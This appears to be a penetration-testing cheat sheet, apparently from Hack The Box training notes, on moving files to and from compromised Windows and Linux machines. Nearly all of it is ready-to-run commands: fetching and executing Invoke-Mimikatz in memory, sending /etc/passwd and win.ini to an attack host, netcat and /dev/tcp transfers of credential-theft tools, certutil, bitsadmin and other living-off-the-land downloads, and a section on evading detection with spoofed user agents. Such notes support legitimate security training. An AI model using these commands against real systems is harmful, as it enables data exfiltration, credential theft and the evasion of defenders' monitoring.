File Transfer
[*] Windows File Transfer
Download
Download a file with PowerShell
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1
Execute a file in memory using PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')
Upload a file with PowerShell
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64
Download a file using Bitsadmin
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
Download a file using Certutil
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
Download a file using Wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
Download a file using cURL
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Download a file using PHP
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
Invoke-WebRequest using a Chrome User Agent
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe
Upload
Convert encode the content of the file in base64 on the victim machine then decode it on your host machine
[Convert]::ToBase64String((Get-Content -path "FILE_PATH" -Encoding byte))
echo FILE_CONTENT | base64 -d > OUTPUT_FILE
Set a python upload webserver then use PSUpload.ps1 Inoke-FileUpload function from the victim machine to upload the desired file.
pip3 install uploadserver
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://HOST_IP:8000/upload -File DESIRED_FILE_PATH
Another way to use PowerShell and base64 encoded files for upload operations is by using
Invoke-WebRequest
orInvoke-RestMethod
together with Netcat. We use Netcat to listen in on a port we specify and send the file as aPOST
request. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'FILE_PATH' -Encoding Byte))
Invoke-WebRequest -Uri http://HOST_IP:8000/ -Method POST -Body $b64
nc -lvnp 8000
echo B64_ENCODED_STRING | base64 -d -w 0 > OUTPUT_FILE
Using WebDav Server. To set up our WebDav server, we need to install two Python modules,
wsgidav
andcheroot
. After installing them, we run thewsgidav
application in the target directory.
sudo pip install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/target_dir --auth=anonymous
dir \\HOST_IP\DavWWWRoot
dir \\HOST_IP\target_dir
copy FILE_PATH \\HOST_IP\target_dir\
Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module
pyftpdlib
, we need to specify the option--write
to allow clients to upload files to our attack host.
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('ftp://HOST_IP/OUTPUT_FILE', 'FILE_PATH')
OR
Create a Command File for the FTP Client to Upload a File
C:\htb> echo open HOST_IP > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT FILE_PATH >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open HOST_IP
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT FILE_PATH
ftp> bye
[*] Linux File Transfer
Download
Base64 Enconding/Decoding
From the source machine:
cat filename |base64 -w 0;echo
To destination machine:
echo -n "B64_ENCODED_STRING" | base64 -d > filename
The confirm file has with
md5sum filename
Download a File Using wget
wget URL -O File_Path
Download a File Using cURL
curl URL -o File_Path
Download with Bash(/dev/tcp)
There may also be situations where none of the well-known file transfer tools are available. As long as Bash version 2.04 or greater is installed (compiled with --enable-net-redirections), the built-in /dev/TCP device file can be used for simple file downloads.
exec 3<>/dev/tcp/HOST_IP/HOST_PORT
echo -e "GET /Filename HTTP/1.1\n\n">&3
cat <&3
Linux - Downloading Files Using SCP
scp user@HOST_IP:File_Path Destination_Path
Upload
For this Linux example, let's see how we can configure the uploadserver
module to use HTTPS
for secure communication.
Installing the uploadserver module
sudo python3 -m pip install --user uploadserver
Create a Self-Signed Certificate:
openssl req -x509 -out Cert_NAME.pem -keyout KEY_NAME.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
The webserver should not host the certificate. I recommend creating a new directory to host the file for our webserver.
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate CERT_PATH
Upload Multiple Files
curl -X POST https://HOST_IP/upload -F 'files=@FILE_PATH' -F 'files=@/example_directory/example_file' --insecure
Creating a Web Server with Python3
python3 -m http.server
Creating a Web Server with Python2.7
python2.7 -m SimpleHTTPServer
Creating a Web Server with PHP
php -S 0.0.0.0:8000
Creating a Web Server with Ruby
ruby -run -ehttpd . -p8000
After setting a web server with any of the above methods you can just download your files using
wget TARGET_IP:PORT/filename
scp File_PATH user@IP:Destination_Path
[*] Transfering Files with Code
Download
Python 2
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
PHP Download with File_get_contents()
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
PHP Download with Fopen()
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
PHP Download a File and Pipe it to Bash
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
Perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
Javascript
We'll create a file called wget.js
and save the following content:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
We can use the following command from a Windows command prompt or PowerShell terminal to execute our JavaScript code and download a file.
C:\> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBScript
We'll create a file called wget.vbs
and save the following content:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
We can use the following command from a Windows command prompt or PowerShell terminal to execute our VBScript code and download a file.
C:\> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
Upload
Upload Operations using Python3
Starting the Python uploadserver Module
python3 -m uploadserver
Uploading a File Using a Python One-liner
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
[*] Miscellaneous File Transfer Methods
File Transfer with Netcat and Ncat
NetCat - Compromised Machine - Listening on Port 8000
nc -l -p 8000 > SharpKatz.exe
Ncat - Compromised Machine - Listening on Port 8000
ncat -l -p 8000 --recv-only > SharpKatz.exe
The option -q 0
will tell Netcat to close the connection once it finishes. That way, we'll know when the file transfer was completed.
Netcat - Attack Host - Sending File to Compromised machine
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
Ncat - Attack Host - Sending File to Compromised machine
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
The --send-only
flag, when used in both connect and listen modes, prompts Ncat to terminate once its input is exhausted.
Attack Host - Sending File as Input to Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exe
Compromised Machine Connect to Netcat to Receive the File
nc 192.168.49.128 443 > SharpKatz.exe
Attack Host - Sending File as Input to Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exe
Compromised Machine Connect to Ncat to Receive the File
ncat 192.168.49.128 443 --recv-only > SharpKatz.exe
NetCat - Sending File as Input to Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exe
Ncat - Sending File as Input to Netcat
sudo ncat -l -p 443 --send-only < SharpKatz.exe
Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
PowerShell Session File Transfer
To create a PowerShell Remoting session on a remote computer, we will need administrative access, be a member of the Remote Management Users
group, or have explicit permissions for PowerShell Remoting in the session configuration. Let's create an example and transfer a file from DC01
to DATABASE01
and vice versa.
We have a session as Administrator
in DC01
, the user has administrative rights on DATABASE01
, and PowerShell Remoting is enabled. Let's use Test-NetConnection to confirm we can connect to WinRM.
From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
PS C:\htb> whoami
htb\administrator
PS C:\htb> hostname
DC01
PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985
ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : True
Because this session already has privileges over DATABASE01
, we don't need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01
and stores the results in the variable named $Session
.
Create a PowerShell Remoting Session to DATABASE01
PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01
Copy samplefile.txt from our Localhost to the DATABASE01 Session
PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy DATABASE.txt from DATABASE01 Session to our Localhost
PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
RDP
Mounting a Linux Folder Using rdesktop
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
Mounting a Linux Folder Using xfreerdp
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
[*] Protected File Transfers
File Encryption on Windows
Import Module Invoke-AESEncryption.ps1
PS C:\htb> Import-Module .\Invoke-AESEncryption.ps1
File Encryption Example
PS C:\htb> Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
File Decryption Example
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path .\scan-results.txt.aes
File Encryption on Linux
Encrypting /etc/passwd with openssl
We can also override the default iterations counts with the option -iter 100000
and add the option -pbkdf2
to use the Password-Based Key Derivation Function 2 algorithm.
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:
Decrypt passwd.enc with openssl
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
enter aes-256-cbc decryption password:
[*] Catching Files over HTTP/S
Nginx - Enabling PUT
Create a Directory to Handle Uploaded Files
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
Change the Owner to www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
Create Nginx Configuration File
Create the Nginx configuration file by creating the file /etc/nginx/sites-available/upload.conf
with the contents:
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
Symlink our Site to the sites-enabled Directory
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
Start Nginx
sudo systemctl restart nginx.service
Verifying Errors
tail -2 `/var/log/nginx/error.log`
2020/11/17 16:11:56 [emerg] 5679#5679: bind() to 0.0.0.0:`80` failed (98: A`ddress already in use`)
2020/11/17 16:11:56 [emerg] 5679#5679: still could not bind()
Remove NginxDefault Configuration
sudo rm /etc/nginx/sites-enabled/default
Upload File Using cURL
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
[*] Living off The Land
LOLBAS
To search for download and upload functions in LOLBAS we can use /download
or /upload
.
Upload win.ini to our Pwnbox
C:\> certreq.exe -Post -config http://192.168.49.128/ c:\windows\win.ini
File Received in our Netcat Session
listening on [any] 80 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.1] 53819
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
User-Agent: Mozilla/4.0 (compatible; Win32; NDES client 10.0.19041.1466/vb_release_svc_prod1)
Content-Length: 92
Host: 192.168.49.128
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
GTFOBins
To search for the download and upload function in GTFOBins for Linux Binaries, we can use +file download
or +file upload
.
Create Certificate in our Pwnbox
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
Stand up the Server in our Pwnbox
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
Download File from the Compromised Machine
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh
Other Common Living off the Land tools
File Download with Bitsadmin
bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe
OR
Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
Download a File with Certutil
C:\> certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
[*] Evading Detection
Request with Chrome User Agent
PS C:\> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
LOLBAS / GTFOBins
Transferring File with GfxDownloadWrapper.exe
PS C:\> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
Last updated